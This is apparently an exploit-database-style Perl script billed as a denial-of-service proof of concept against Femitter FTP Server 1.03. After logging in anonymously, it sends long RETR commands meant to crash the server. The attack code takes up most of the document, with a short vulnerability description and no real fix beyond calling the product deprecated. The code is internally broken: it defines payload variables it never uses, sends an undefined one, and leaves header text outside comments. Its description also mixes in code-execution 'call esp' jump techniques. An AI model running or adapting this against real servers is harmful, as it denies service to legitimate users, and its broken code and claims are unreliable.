#!/usr/bin/perl

use Net::FTP;

Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 08 january 2024

Vendor Homepage: https://acritum.com/

Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing

Notification vendor: No reported

Tested Version: Femitter FTP Server 1.03

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption.
#When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41\x2C\x41\x20\x42"x500;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@";

my $sc= "A"x800;

$ftp->login("anon","anon") or die "Failed: " . $ftp->message;

$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;  
$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;

$ftp->quit;

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "######################################################################\n";  
  print "#                Femitter FTP Server 1.03 - Denial of Service        #\n";  
  print "#                                                                    #\n";  
  print "#                       Coded by Fernando Mengali                    #\n";  
  print "#                                                                    #\n";  
  print "#                 e-mail: fernando.mengalli\@gmail.com                #\n";  
  print "#                                                                    #\n";  
  print "######################################################################\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated